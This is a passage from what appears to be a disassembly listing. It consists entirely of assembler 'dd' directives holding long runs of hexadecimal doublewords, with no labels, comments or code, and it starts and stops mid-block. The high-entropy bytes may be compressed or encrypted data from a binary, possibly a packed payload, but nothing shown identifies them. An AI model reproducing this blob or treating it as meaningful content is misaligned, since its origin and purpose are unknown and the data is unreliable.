		dd 23E70684h, 0BC0A286Ch, 0F41FB864h, 98F99F00h, 1D33AD8h
		dd 9AE0D42Eh, 501D623Eh, 0EDB0BFA0h, 5318A603h,	0C08E0386h
		dd 3F18106h, 565EBC02h,	0B6F8141Eh, 0C60E9108h,	256CA209h
		dd 0C0404E82h, 98DDE51Bh, 319B00FAh, 83D9D030h,	213DC1E0h
		dd 763A0091h, 0A36AF7AAh, 0E17A00E5h, 980FD8E8h, 530CEFA9h
		dd 31C8AEE9h, 0F693134Bh, 8A7300B6h, 416F576Dh,	684F4400h
		dd 0B54EBBCDh, 0A27738h, 0BEEA0106h, 1A74D88Bh,	5E323D00h
		dd 5BC6CF46h, 0FDD9034Ch, 44573E62h, 0BF994000h, 9895AE7Eh
		dd 1FC7532h, 371A004h, 0F823FB0Ah, 6400A9B1h, 0E060352Dh
		dd 0EEE5B0h, 0FD8DF95Ch, 3BC08933h, 9BC148C1h, 86E039B7h
		dd 29F256h, 72FAE8EFh, 6D1D5CA3h, 74CED103h, 1D4E4AF6h
		dd 80939830h, 0CCF983D2h, 8B60D68Ch, 4F90E3F1h,	8FE903CAh
		dd 7CD42496h, 3CA5CEF0h, 6D03F803h, 0B857DF14h,	0DF704D11h
		dd 0EA9E4080h, 1D71BC6h, 0F5E8C100h, 17730A78h,	9460009Ah
		dd 54CE4CE1h, 0BB0E4BE7h, 3E190EB0h, 2CB1D380h,	1CD4F63Dh
		dd 405DF910h, 0FC17C6F0h, 69021446h, 0A75199B1h, 0AD5C05Eh
		dd 0D4F500BBh, 3C03926Eh, 0BF005268h, 5AEFDFF2h, 0FE042BA8h
		dd 4F9B0036h, 469057B6h, 0C3613CF9h, 0B953FE38h, 74156D0h
		dd 9F7F8EDh, 87C03FD4h,	0C82B75DDh, 0E34FC500h,	0A3DCBDF5h
		dd 0FC94325Fh, 2F413B28h, 6704F8E5h, 19C67C30h,	0AA9325h
		dd 39E15118h, 63DAD176h, 21C13833h, 68CC90A6h, 4CCA3816h
		dd 0D116E0Eh, 0FA86A7A0h, 0E900859Eh, 97178702h, 71E70F8h
		dd 9F75161Bh, 6F098001h, 620331B8h, 11FBA5B0h, 0A06690FCh
		dd 5B4B0BB5h, 5450A840h, 4D8E8706h, 0A781A8Bh, 9D2279B9h
		dd 0AF7C0098h, 0AD564FECh, 80EB5B28h, 38660903h, 0E070D06Ah
		dd 3D8D78F9h, 0A58BA794h, 0CE80BB26h, 3D27F802h, 0E41C9100h
		dd 124B0D97h, 4D030022h, 1F38D021h, 0CC0056F4h,	423C06DFh
		dd 0F4905287h, 60A503AAh, 0D7AB9A30h, 0DDE816F0h, 0F9537203h
		dd 0F87827FEh, 3659304h, 0E7494256h, 0B7C0FCD2h, 4AEA749Dh
		dd 5589F3Ch, 494C23F3h,	82307E80h, 204EE188h, 0B48F3508h
		dd 80C006Eh, 3459647h, 0E241AA49h, 300E02C9h, 0FEDE8A56h
		dd 72748880h, 3E240F0Dh, 652EE74Ah, 0CF4830C8h,	0C9003414h
		dd 151E845h, 0BDF1FCh, 0C873B07h, 2B02FBD7h, 5C10801Dh
		dd 784B3983h, 4AE3E8h, 9A4388A0h, 0C94946BCh, 0B400B270h
		dd 8B34C15Dh, 795261h, 8A6073DFh, 824FE37Ch, 0FE14C579h
		dd 0A441D5h, 7508F6DEh,	7614B01h, 47F8FA6Bh, 0B99300AAh
		dd 49004892h, 0EACC2503h, 19948AEFh, 0B8AA268Ch, 0A783DB5Bh
		dd 0B45A01B0h, 80AC4529h, 749B1740h, 8D6BEC6Ch,	0BAD81200h
		dd 562784Ch, 9C9E0D7h, 0A982C15Ch, 0AADA9F04h, 9D872D00h
		dd 70C5B4h, 0CC520580h,	0D58DF145h, 0ECBA200Fh,	7A014066h
		dd 260EE6h, 0F2DF8739h,	0E3CD4058h, 6D5A2E07h, 8AB1CACFh
		dd 80403554h, 14284E95h, 20E5AF6Ah, 0CEDAABB3h,	0D630871Ah
		dd 9B33C3h, 0FD547388h,	10E51117h, 7FCCE350h, 4DF02F00h
		dd 0EBA40433h, 0E0F56192h, 435235B8h, 2FF8A8DCh, 0C61F5417h
		dd 6CC0754Fh, 33AFFD4Eh, 57881D29h, 20E000E8h, 3AD39B73h
		dd 8D42F7Ch, 0BE007C00h, 86126A8Dh, 58E698A9h, 307202B5h
		dd 160A1ADh, 4B3A172Bh,	0D2C86A2h, 0EA1851DCh, 705200F6h
		dd 0F19CB515h, 8C3EE787h, 0EE5E80C0h, 0B97C81C6h, 0C8278B2h
		dd 0C7D225E1h, 15B88688h, 0FF80CB00h, 597EA5F3h, 2C5CE247h
		dd 0EB805ACh, 5E045619h, 64E6C0D4h, 8B016F28h, 0E10FFA91h
		dd 40C26DD7h, 3ECDEFh, 4A5DE244h, 92E63F41h, 15B38h, 32AD9DD3h
		dd 1C0F101Bh, 9C0C1EC1h, 53620090h, 0E4B0C8CFh,	30CA1D31h
		dd 3CE1154Bh, 0C3608840h, 0BCE502CCh, 0EE1CB4E4h, 8AE19480h
		dd 7900A65Bh, 0E55F4E09h, 23E4F0Ch, 0E70FDAA7h,	0D8A0DF08h
		dd 0FFC083E8h, 0D90070B0h, 30586F7Ch, 0E6F1A5h,	0DE888976h
		dd 55D15F7Ah, 228F0B01h, 0A1A928CEh, 2495F4h, 0CCBAE6F5h
		dd 0B5E2C9C2h, 48073900h, 0D7A1233Bh, 11DD00B1h, 0EC4C4360h
		dd 0DC600C81h, 5F627230h, 0F82D1CC5h, 6992C0E4h, 6416258Eh
		dd 0F389170Fh, 41638075h, 0CD5599h, 0D31A882Eh,	4EEA58AEh
		dd 0E1D73A00h, 0AC75D011h, 0BC6D0016h, 650B4D23h, 0C700C2B5h
		dd 0B8F38737h, 5EE766h,	92727805h, 31B36A76h, 0CD2D101Fh
		dd 9EE63687h, 733EEEA1h, 3066F12Fh, 32002EE4h, 0D2FAC225h
		dd 1271C36h, 0F33C9F3h,	0CCB87108h, 5A035F2Ah, 0EED6F965h
		dd 0E0CCB2DEh, 0B5C529h, 448D1CFFh, 2537C2C7h, 0E2BAB10Ch
		dd 1B0A98F7h, 18C504B7h, 935CACF8h, 0E0008CECh,	0DF83650Dh
		dd 30C35E7Eh, 42C9AB92h, 0C97006DAh, 30C5A100h,	725D9916h
		dd 273D0078h, 0CBADC64Fh, 124B156h, 1300D5BAh, 5E0F717Dh
		dd 8A5500E7h, 0BC20175Fh, 0DC03402Dh, 0A14AA725h, 86091B93h
		dd 0F5E9205Eh, 7924D4A0h, 25F8FF00h, 486EFEDEh,	0C538003Dh
		dd 0DA770673h, 37015F9Ch, 0E70970BDh, 2FE44560h, 0DC08C661h
		dd 0D7002027h, 0AEE0D88Dh, 2DF7E3h, 0A10AAB62h,	606471BAh
		dd 58899E30h, 1E83C266h, 0C18EE85Fh, 0A8D144Fh,	0C520C4C6h
		dd 9C985560h, 3096687Dh, 0BF1188EDh, 0F4F0711Fh, 0A8D5C106h
		dd 6408C0B6h, 0C0AA21A4h, 2CA15795h, 0D6CFB707h, 13E07CDBh
		dd 609F984Dh, 31F828AFh, 0B7F25DD7h, 72E56600h,	6BBF50B6h
		dd 0CEC10A42h, 0A1CCCBh, 0F3E0C532h, 21DF773h, 6842C410h
		dd 80895DFCh, 4F76D548h, 2DCE1085h, 0EB6E80A9h,	0F09C23h
		dd 0B5697C9Ah, 0D0868F5Bh, 15BF5800h, 8C72516Ah, 270C155Dh
		dd 0D823B449h, 707B823Eh, 1944E8E6h, 176E10A2h,	0AC1E0371h
		dd 39D0C629h, 68F355C3h, 1259211Fh, 200A475Dh, 8380F471h
		dd 0A622BD28h, 0BFD900E8h, 0AB8D9CA7h, 32000F41h, 0EB4B4D9Bh
		dd 1C879339h, 13E42BCh,	5131D191h, 0F077F00Dh, 9B008BEAh
		dd 5A2FEB04h, 6057CBh, 0E50569DCh, 71786C13h, 3400287Ah
		dd 7F3D3CFDh, 2302D4h, 88EEBC0Bh, 0E011BE9h, 60F6C300h
		dd 7C29BE2Eh, 0E719389Eh, 0B524200h, 0F7DACF48h, 0A687AA00h
		dd 0A84CA095h, 3B0FAA9h, 2D2916D6h, 0DAD00830h,	3C009AA4h
		dd 0A16B054Ah, 16CF35C8h, 0AE0A1824h, 46A4B107h, 0D2DE0E0h
		dd 0F9593C77h, 0B6870480h, 51F18A1Dh, 78748526h, 3B78C700h
		dd 1D5D7A33h, 404E8B2Eh, 6440B0AAh, 2007350h, 7D744539h
		dd 3C88779h, 0C17004E2h, 0F8D07AA3h, 91E6CC2Eh,	6332990Eh
		dd 7F7E0087h, 7E0FD170h, 0D3774Ah, 4EA1C5F4h, 0D030B554h
		dd 0DA86E60Fh, 0AFC4C007h, 0B777BEh, 0AEC98EC7h, 4737A459h
		dd 4F12A701h, 1F1C4A45h, 0A4CA860h, 0CFE08583h,	0FE6900C8h
		dd 0C1363DC4h, 7DA77E0Fh, 8F2C20B2h, 0AAA605h, 42C3E460h
		dd 0F5C7A3BBh, 0BFD61100h, 5B252FE5h, 5EBD000Bh, 0A56507F4h
		dd 8D00856Eh, 319B9582h, 394EA8FAh, 0BA0067A6h,	0CF6637DAh
		dd 91004404h, 0A2F5D4EDh, 0F4674F2h, 0D8E06DFAh, 7B1F8920h
		dd 1C0E53FDh, 4048FF47h, 3DCB5202h, 18B0F17h, 0A005467Dh
		dd 0B3B303CFh, 680106C5h, 893337Bh, 42F46385h, 0D37700A5h
		dd 75CBFFD8h, 0D400277Dh, 99B0FCF4h, 0E317FE4h,	8D74BDBCh
		dd 0DDC17120h, 87001408h, 0C945F916h, 6039F6A1h, 9FA5501Fh
		dd 0F43A6534h, 20430051h, 0C80B3280h, 0BB1900DCh, 72B32EADh
		dd 9D48037Dh
		dd 4C017B62h, 544314EEh, 0D5309EF8h, 1DA007Eh, 18A2C161h
		dd 22070C85h, 33C7123Ah, 0EBB90A50h, 0F0C1E8C3h, 1A161857h
		dd 185231DEh, 54D6D31Ch, 0CB950B40h, 39F5CD2h, 8BA51193h
		dd 38009A63h, 6704B09Dh, 0E2273Ah, 0B5D3317h, 53A66975h
		dd 0FC45F14h, 1833A018h, 97A13E7Eh, 46550F9Ch, 39407FE3h
		dd 34F91F29h, 0C8C5560h, 351240E6h, 7FE20203h, 0A7E0B120h
		dd 1C2CA225h, 8A7D11D9h, 311519C0h, 3C146070h, 950CA06Ch
		dd 0A890F879h, 104CEDF5h, 0AFED0005h, 0F6278EFh, 90C00BD5h
		dd 53AB4CE0h, 92018DDFh, 0E734B54Ah, 3D7C5707h,	27C0EC8h
		dd 7507ECDFh, 0EB9502E0h, 81C98A6h, 8160A053h, 0DF28EA14h
		dd 5575F985h, 0C0102495h, 0EC613B2Eh, 8A0B403Fh, 0DC5CD5FDh
		dd 0F6B397D8h, 0C03154F4h, 60BCA068h, 605AE96Fh, 6A1A3002h
		dd 0A4804FFAh, 50419015h, 4833C029h, 8DED9F81h,	0B8519A1Fh
		dd 0A45E6E16h, 3310A70Eh, 0B5C0F00h, 5493C7D5h,	0BCBF92E0h
		dd 0B561C0ACh, 2050521Eh, 2D81251h, 64B4E3A5h, 7EE9D904h
		dd 95079F6Fh, 0A050C001h, 4093E3A9h, 299B80C0h,	75E14005h
		dd 0C0DC5157h, 9044F591h, 24998355h, 619841B9h,	0CE80D143h
		dd 0D3D4BCA8h, 574F4CE0h, 643E144h, 0D8405047h,	0B9637864h
		dd 7C0A8008h, 7C8E56C0h, 91F447C0h, 0A0923A7Dh,	50B29805h
		dd 7C6C5160h, 84BD0005h, 0B5A41B8h, 295130F5h, 0D074F7B8h
		dd 400886E7h, 2B486517h, 0C08CE274h, 24F85E66h,	0FE28F8A4h
		dd 74318C3Ch, 2819053h,	695508Fh, 1F970C9Ch, 1B055A18h
		dd 0CD23A051h, 16F3D806h, 0CCDD2010h, 3E57C844h, 577F7B33h
		dd 429CB0E3h, 3B8AB8D6h, 4F4DB501h, 0C36CC43h, 3DB0C0E0h
		dd 10DF3758h, 0A1E8DB1Bh, 18982805h, 5D60681Ah,	1D51EA38h
		dd 4006EC37h, 6108CE73h, 5860185Eh, 0EB3098B5h,	0A0B8DE09h
		dd 0C645669Ch, 1044C7D8h, 0F0461F30h, 7451EDF5h, 204B6380h
		dd 0E0C1CF93h, 3760BA35h, 9DC40892h, 28B74D46h,	48B6BE31h
		dd 0A041AF65h, 88901A02h, 16637CC1h, 3143BB61h,	8088A928h
		dd 9D06F21Bh, 70776B99h, 7D61250Ch, 431B08DFh, 3751A6C0h
		dd 4548B8E0h, 18CC1FC9h, 90C008E4h, 301CDA58h, 0F0FF0821h
		dd 3108B0A9h, 1B08DD27h, 4F8C02DCh, 8E2E8158h, 30E84D58h
		dd 7632956Ch, 495770D0h, 0C4470A40h, 7A896880h,	64FC49C0h
		dd 9E260DF0h, 3C05E424h, 0F86A750Ah, 0F08079BDh, 5858DF70h
		dd 2CD1007h, 0DB6E60C6h, 599431D8h, 9D533C30h, 127CDF28h
		dd 501C8640h, 0C050E818h, 101E6278h, 0AC812176h, 0D17A9CFEh
		dd 0C01837FDh, 751C3024h, 1B4040D2h, 0CFE09C9Bh, 4D18B9C3h
		dd 0BE181036h, 8CF6808Ah, 47C0DCB3h, 484C40E4h,	150AE844h
		dd 41109299h, 0DAB4C74Dh, 14F5BCA2h, 0D4DF888Eh, 5C2680AEh
		dd 0E6C0093Ch, 6C86800Eh, 0F43178BBh, 421920B6h, 49A3093h
		dd 84C5A058h, 1314C520h, 28F418D4h, 0BA632660h,	2B5CE38h
		dd 5CD72330h, 0C043BFh,	0E249071Fh, 9606E410h, 28C94DF3h
		dd 1ABC31D5h, 50295980h, 7540E845h, 92586640h, 0E6B52C08h
		dd 1BFBE064h, 0E9497522h, 0EC5C2A40h, 7A74DD48h, 0C0E8A657h
		dd 2495A298h, 0E77580ADh, 14887848h, 188C3A8Eh,	3C4066D0h
		dd 0C3549BDEh, 91A1195Ch, 55E88A40h, 0CCF88C0Fh, 8FA1120Dh
		dd 0C50C46E4h, 50577879h, 6C08C088h, 9247B2C3h,	8D102C0Ch
		dd 6F1F0EA8h, 6CF3BF85h, 430C2278h, 783E8E90h, 816307F5h
		dd 0EC99C5ECh, 48CE33E0h, 280FF29Fh, 28DECA80h,	0B13B9FD1h
		dd 0D5C9849Dh, 1CC28A43h, 0C98BE3Dh, 0B9392E9Fh, 0C56FB5C9h
		dd 0BE576938h, 5FFD0238h, 5A42495Dh, 28DCE02h, 560538C1h
		dd 84CA07Ch, 45AEE36Eh,	79DC7504h, 88C04CA6h, 2290CCC3h
		dd 48D5580h, 19810A5Ah,	0F3908051h, 0DF285CD8h,	0FF24C4AFh
		dd 0E01DB817h, 0F009D4D7h, 0BFB0876Dh, 0F743EDBh, 3BB8A295h
		dd 350F6283h, 20315DCBh, 0AD806882h, 9D7FCC40h,	0A0570F6Ah
		dd 0CBC1820h, 81204E8Dh, 3F53C109h, 43C3E01h, 40B17C77h
		dd 3B1505CEh, 986C1084h, 477C08A6h, 0F50683DAh,	2C3071C8h
		dd 0D28179Ah, 0F4E07A46h, 5CE07F08h, 18504024h,	313EC8D8h
		dd 0D55155D4h, 0C04880B4h, 1FF40A99h, 0D8156619h, 988D4845h
		dd 43663181h, 0C753048h, 604814F7h, 0E00BCDA1h,	7CA4AE70h
		dd 26130B5Fh, 4C2930D4h, 9F0CC0F3h, 0E5181E79h,	7B324CBAh
		dd 43BF081Ah, 3986C188h, 3BBCB041h, 65128430h, 937D20ECh
		dd 112054B4h, 0BAD2E02Dh, 42CC3218h, 0CE92C08h,	0A0DC60F0h
		dd 28B1D832h, 202C6178h, 0AC0167C5h, 0BC188A3Eh, 0ED3CB041h
		dd 8898008h, 28025520h,	4850C21Fh, 96084D6Fh, 16BFE043h
		dd 7CA01E52h, 96B23EC8h, 9B636078h, 28359F91h, 0F88E33D8h
		dd 0AD58CEBFh, 14CE8114h, 0E6918Ah, 0B8747B95h,	0A0C051FBh
		dd 4820F3C1h, 0B8AD505Fh, 14CF2480h, 101E1808h,	0B35087C0h
		dd 0C0A34D80h, 8C71A2E1h, 0E8075430h, 0ACF950C8h, 7B30094Ch
		dd 9C2251A0h, 0DC60D176h, 0D0A060F2h, 8C677E7h,	48384EADh
		dd 247E700Ch, 0FF41F87h, 501929B9h, 4ED84206h, 79204440h
		dd 401F0B7Ch, 80063A5Fh, 6181EB1h, 3F5CD6B3h, 0DF3008BEh
		dd 0CB60280Ch, 2CA0C479h, 4609E43h, 1B83837h, 9A6DC0E4h
		dd 0BCD74D90h, 0DBD40C12h, 0C7CC07ECh, 548C936h, 4E17555h
		dd 81767DACh, 8C59BC54h, 0E066CF80h, 0C850D22Fh, 0D7686ED4h
		dd 1FC32C60h, 13B5E357h, 1CC83599h, 9E60138Ch, 0DBC20290h
		dd 709E53F9h, 81A4AB18h, 0D0415E9Bh, 88A7C33h, 12F412F7h
		dd 3FF8059Eh, 0DFCC021Eh, 0A885D92Fh, 599C7CE5h, 21446E12h
		dd 0BDF5E8C0h, 0A10A07F0h, 0C2662D72h, 0F84F419Ah, 0AB37C30Eh
		dd 0D5F42290h, 9FD4C0E1h, 3020FF24h, 403C64D0h,	0C0FC8068h
		dd 709343E4h, 0F80873C0h, 0B551C02Fh, 0C160B1D2h, 41748095h
		dd 0E961DA76h, 95A04862h, 16100B3Fh, 0E9165D32h, 164078DEh
		dd 7FFD6904h, 0E00A5DE6h, 9828D830h, 3D92BC18h,	56E155A8h
		dd 879E3006h, 89954788h, 2A35B083h, 0C1D4E6FCh,	0C683FD07h
		dd 1501B02Ch, 10A09F4h,	0FDC9F5B5h, 8161C026h, 0A00FD48h
		dd 0B4A6B740h, 9C72160Eh, 3874A63Ch, 0BCD14C0Ah, 40022E13h
		dd 0CF08961Fh, 20FD0278h, 9C708478h, 0C0B6F50Eh, 13CEE10Ah
		dd 0C64A161h, 71E531A0h, 0D3A53958h, 8C4A1CC1h,	3040DC78h
		dd 2688B0B6h, 6189280h,	0F0D69DDFh, 308ADE34h, 324048A0h
		dd 67B8281Eh, 34201440h, 80313C98h, 0DC00898h, 0C0E40C69h
		dd 8A54FE51h, 0D5156090h, 0E0C40B7Ch, 603246C0h, 0B50F1A8Dh
		dd 0B0C59926h, 0A8DE063Fh, 0E1C1870h, 40956908h, 166D405h
		dd 0C4061FF5h, 3A3089E1h, 2124EE8Eh, 96A187A0h,	641422Ah
		dd 0EB895C43h, 92E8937Ch, 1860C80Fh, 0BB84008h,	36BFE5D0h
		dd 83A09882h, 0EEE33863h, 12F482CCh, 53C2A0A3h,	1F5D1014h
		dd 58219C0h, 98601450h,	9C64FDE0h, 0C018C990h, 7C3C4F09h
		dd 87945A04h, 7509E4FAh, 0F0B81008h, 8D13E8B1h,	9446E582h
		dd 5A80E493h, 0C3807840h, 0B1907512h, 0E5356844h, 650518B6h
		dd 0D1F5DC5Eh, 64E115E8h, 5EEB9648h, 0D98205E8h, 40B0026Eh
		dd 0E8E55DF5h, 619C55F0h, 8B08C250h, 0E09FB805h, 10B2545Bh
		dd 466E3EC1h, 9621BFCFh, 6C0B6906h, 1B86F35h, 8DB34BA3h
		dd 10F82490h, 40121CB0h, 6C9EAB4Eh, 4C2EF902h, 0FC41554Ah
		dd 1338B85Fh, 4C9BDC17h
		dd 0C9DA6B01h, 2043EE99h, 7E0F94DCh, 0AEAF05ECh, 245B8AD1h
		dd 1306D4Bh, 95BA6F6h, 0D5B8809Bh, 25EC8071h, 0B48DDFFh
		dd 5C3CC0F8h, 7118D87Ch, 0B588E83Fh, 7F620AF3h,	607CBBC0h
		dd 407EFFACh, 3C11AE62h, 1303301Ah, 0ADC0C893h,	263C4214h
		dd 2DF058C9h, 905B8BEh,	402BBB17h, 0A275AC02h, 684BCC0h
		dd 0C66F93CDh, 552560E4h, 0A560BC03h, 81DC022Ch, 0F0F005B6h
		dd 80B39528h, 0AC2070D0h, 857D0423h, 81298049h,	65E804h
		dd 275CD8FDh, 708578FFh, 324DF67h, 841B483Fh, 0F5C817E5h
		dd 0DF5402BAh, 444FA98Eh, 3115C407h, 7C813BB4h,	0D068F2D5h
		dd 78D77713h, 761C3328h, 82E77737h, 6140550Ch, 0B8A3C34Ch
		dd 0FBC6080h, 342A5B8Ch, 0D0B8E854h, 70DD802Bh,	0E4D0874Eh
		dd 0F60A380h, 0E22B1375h, 0D7980B7Fh, 0B80FB03Ch, 417CD3E2h
		dd 0B93E362h, 433DF02Bh, 0A21DFA74h, 0CFC035D2h, 0FFE3A15Ah
		dd 825604B4h, 0EE9ED8A5h, 0E069E983h, 18FD7D73h, 80102FBh
		dd 4C52D162h, 2670801Ch, 7C2C75F4h, 0D353037Dh,	6742D789h
		dd 0DB227014h, 0F57DB01Ch, 0BA430A7h, 0E6C533A8h, 54E2FB1Dh
		dd 2F8A08F1h, 10031C4Ah, 635ECC3Dh, 53137000h, 0BF42FE1Eh
		dd 0F38CCE8h, 0BD7F82F0h, 92D1038Fh, 810C93DAh,	48F9F0F3h
		dd 78315691h, 5B15B983h, 0F05EE0E9h, 0ED7FEFD3h, 694FC20Eh
		dd 47AE85FEh, 7237C68h,	0A9BAF052h, 85B3C0C4h, 7FAFE21h
		dd 829FE247h, 14AF2C5h,	6ACBECA0h, 72302FDh, 4397C0E2h
		dd 4402BCA0h, 0F873E709h, 38D0850Dh, 98E69C4Ah,	7C90A20Ah
		dd 2B7020D9h, 66FB280Dh, 0B81860F4h, 0D70A9F42h, 0DEDC2215h
		dd 0CC4BA07Ch, 6D2E1443h, 571FF863h, 9491FEEAh,	8CD5E031h
		dd 0C1C0606Bh, 0FE680413h, 7CB00268h, 7AC810D1h, 14F388B9h
		dd 2215D67Fh, 0A074FA5Eh, 14717775h, 0F0C7AE0Fh, 0C5D0861Fh
		dd 68EB9302h, 3018B170h, 0B339F93Ch, 6BD340CAh,	0E2FEF207h
		dd 0A244F736h, 7868C484h, 0AA0F05D7h, 96B0DCAh,	30015CF4h
		dd 216430A2h, 1A952114h, 0AB8C037Ch, 8F7DF4ADh,	3E9973C0h
		dd 0DD6211FEh, 70EEE1DEh, 0F3F16Ah, 0F41553D0h,	4445B0C5h
		dd 12E87C68h, 42F375ABh, 6935330Ch, 0E49FBE04h,	2E4E9B01h
		dd 16B0801h, 1002F2DAh,	0F1829C81h, 3745AE1h, 791B9C64h
		dd 0F3B01BBAh, 394640D5h, 60EA8174h, 90509050h,	904308D3h
		dd 0E1C53128h, 98F57908h, 0C210C688h, 18406345h, 22E05F55h
		dd 8C55844h, 0EC09FA25h, 423C875Bh, 0E394D50Eh,	0A444A895h
		dd 0B378C676h, 14FA58B7h, 45A3B4A3h, 4DC28805h,	9C6CD786h
		dd 63ED0989h, 0D481C03Fh, 0FCD44B93h, 0BCA33462h, 848FBBA2h
		dd 82C80B0Ch, 0C071EC31h, 8982746h, 0D4A278F7h,	83B0E057h
		dd 0FAB189B7h, 9A7301B0h, 84E84112h, 6B05E18h, 9E4338C8h
		dd 35318E9h, 1E14904Fh,	5D3478C6h, 15DA2B88h, 2563CE98h
		dd 0E91B2F38h, 0EF488533h, 0C2100289h, 7B94BE9Eh, 49C97788h
		dd 83193072h, 5BE8B81Dh, 5F60037Ch, 0A096277h, 1AA4F338h
		dd 42750DCCh, 0D48EF2C8h, 54236589h, 1024FB8Fh,	1E3ED46Ch
		dd 788C7BC8h, 803009EBh, 9F7C57B8h, 76ABF81Fh, 53561803h
		dd 9EA3E18Ah, 3E0FD8F0h, 4A1E82A6h, 0D6580749h,	0DDB880ADh
		dd 380F8A57h, 8ED5FAh, 988132DFh, 10DC609Ch, 3DCB697Ah
		dd 0F51AE300h, 0AB4395CDh, 21670377h, 57A1CF24h, 9CD949E0h
		dd 7A7568C6h, 91766688h, 381908BFh, 7C7841EBh, 70220BCh
		dd 18988AC6h, 29F19E0Fh, 0D88CA908h, 0A4407CDCh, 206409CCh
		dd 0F99879B8h, 8090A8CCh, 8A6D5868h, 64D93878h,	318F883h
		dd 32F182ACh, 23389845h, 0A360F810h, 40C3A184h,	0D4784887h
		dd 7162C38Eh, 85EC081Eh, 6A905807h, 848918C1h, 84741894h
		dd 0F24276F0h, 5B10071Fh, 0A0A7290Ah, 0CD065806h, 7E1E02E0h
		dd 68D3388Eh, 0E7032094h, 836FF839h, 789E05Ch, 0D88E0C7Fh
		dd 7AB89812h, 7B78A0C2h, 0E020945Eh, 1DF21416h,	6914C44Bh
		dd 780CEC2Ch, 0E6C8804Fh, 4C1588DDh, 0D3E515B4h, 0EAFCE0ECh
		dd 0C6F97DBBh, 481FC990h, 0DC9EF815h, 0B7C3A164h, 809AECC4h
		dd 0B4A00EA9h, 0DC578BD8h, 0A1450060h, 0D59F0CC9h, 0B69200CAh
		dd 116ECEA0h, 1B9E0A07h, 6000561Dh, 0D5ACE306h,	6E902A8Fh
		dd 0E6FD1E1Ch, 31C0FB58h, 6E742088h, 1C14084Eh,	7E530B0h
		dd 0D1805F78h, 61DC0D7Fh, 7E09AFC5h, 29E036E0h,	4F20E2FFh
		dd 7BCC10E0h, 0F1F8D834h, 60325300h, 6707FE20h,	0A5ECE6A0h
		dd 3E23011Ch, 0FB4E17CDh, 8AD491E0h, 0D345100Dh, 0C7D87051h
		dd 74B8E260h, 0BD800EF1h, 818A63D8h, 0E7C005D6h, 5B887807h
		dd 6D44F00Ch, 0F0B1606Bh, 65130ABAh, 0F38807D2h, 16F61EC0h
		dd 51384D60h, 2913BCADh, 60842805h, 0DDBA37A7h,	0D3915900h
		dd 23226213h, 3F63F825h, 5700312Bh, 0F652B9B1h,	53740DCCh
		dd 0ADD7C10Eh, 0AE1A4076h, 0A604096h, 0E458CD79h, 0EA474028h
		dd 2D3E6C72h, 1A03012Ch, 0CD96AD64h, 0DF563884h, 0E36C3876h
		dd 9015C0F4h, 782300BEh, 0BD97B8A9h, 0D31F2CB4h, 0F703AC49h
		dd 0E0BAFD4Eh, 0E01B95h, 0A0E2CB11h, 0AD68B437h, 1ED75601h
		dd 9A811926h, 60D9F9D0h, 0CACF80DBh, 0D33A16AAh, 0AB763B36h
		dd 1D406474h, 60D2CFB3h, 3EC39016h, 331E21E7h, 7703A6FAh
		dd 0A1A4CBC5h, 57E0AD9Bh, 2CAF0A4Eh, 24A04B53h,	52B30308h
		dd 6814A196h, 0B07CE8D6h, 7696C7D8h, 1D2B7C02h,	6C1CDE3h
		dd 8BE1397h, 17F85B63h,	0B708188Dh, 0B1B36848h,	37BDCF00h
		dd 0D36F974Ah, 530C0874h, 7D78C716h, 47962AD3h,	48307B0h
		dd 7CB7BDCBh, 9F3C22B1h, 50C501B8h, 749C97A4h, 4C01D85Eh
		dd 935D57D3h, 3AA3F022h, 0D7BDF018h, 0AEB3749h,	0A1B6ADA6h
		dd 0A94EF8B4h, 4D48C8E4h, 52431440h, 849714A8h,	4AD91AE0h
		dd 0FAA036D8h, 0F8803EC5h, 85638867h, 0DECC0221h, 88B6AEADh
		dd 0C0C24B06h, 1078247Eh, 15A66F03h, 0A07CAA11h, 205DA596h
		dd 23156A6Eh, 0A070AA3Ch, 209748E7h, 0C31C230Dh, 5384F621h
		dd 0C9EA2DBh, 81511306h, 0E30469D5h, 0B321E684h, 6C685F84h
		dd 0E8170A49h, 80F48234h, 77B87D1Bh, 0BA7E3092h, 0E5985206h
		dd 1083251h, 0AEA3B491h, 891AEBB6h, 0DDF690h, 53066AF4h
		dd 825C3196h, 41959A18h, 0F0CADCC4h, 0A966E856h, 0F0209038h
		dd 0AA390604h, 1088B3F6h, 768D7F50h, 4024164Ch,	0DDF13ACBh
		dd 6012DB31h, 0CC1E6580h, 123E425Eh, 0E00A3F5Ch, 0D0F8C04Ch
		dd 8C8239B8h, 0DF31A3C0h, 0D967205Dh, 60548820h, 633EE805h
		dd 0DB4D36ADh, 0D4092B00h, 6695DFE1h, 589E47FDh, 0BDD24143h
		dd 300A9D77h, 3E481B38h, 0DCF42870h, 0A574F67Fh, 0CE4E3618h
		dd 7CA15408h, 48023AADh, 0A3ACD60Ah, 0F936F0F0h, 835066E4h
		dd 0B43363D4h, 8540B831h, 7F27F078h, 0EAE31286h, 2D5C0C28h
		dd 38D137A0h, 6C89E09Ch, 23B644C0h, 2C5A4626h, 8C1BEF0Ah
		dd 6C0694C1h, 92FFD140h, 0CEFA0307h, 47D045BEh,	2CCA39E0h
		dd 62ED7100h, 3B2D73A3h, 4C6607C3h, 406522DDh, 43B29824h
		dd 0F40324ACh, 0E017EA3Eh, 0D859E04Eh, 27B09Fh,	2D7150B5h
		dd 8C65CCB4h, 0DD200B52h, 0E6F00E01h, 0F9F04BDCh, 0B03F834Fh
		dd 234D01F1h, 13CC653Dh, 777204Bh, 7F445BBFh, 7119C14Dh
		dd 732DF8FBh, 802C0D80h, 82438C0Ch, 85ECE8Eh, 193A7AB9h
		dd 9C789ED2h, 1F6DC086h, 7261082Dh, 0A0878D50h,	0CF128841h
		dd 0B028C5Eh, 0EDCC97EAh
		dd 0ECD9B081h, 306DF89Bh, 0D71520Dh, 0E0D060B2h, 0EADF053h
		dd 0AC99DAF8h, 8FEC0858h, 600D68DDh, 0C404C0CAh, 0FA39A478h
		dd 95A83159h, 52C679C8h, 0A0BE2CA4h, 15A3110Ch,	379939B3h
		dd 5598280Bh, 419C79CBh, 50516269h, 29FA39BCh, 3E8038C9h
		dd 0FB200418h, 45DBA7D1h, 6C68C589h, 773314BDh,	0EC0008AAh
		dd 44E227A6h, 530F5E2Ah, 6066C604h, 4C615DBFh, 15407469h
		dd 7C91C02Ch, 34E00EA2h, 4C48EDACh, 0C9D31D3Ch,	9C8C0D0Ah
		dd 1022D09h, 9854CD04h,	5FB0892h, 1D09ED00h, 0E82314E0h
		dd 60EE8D0Ch, 9F1E1430h, 0C11DCD73h, 0BAB46D00h, 60BD672Eh
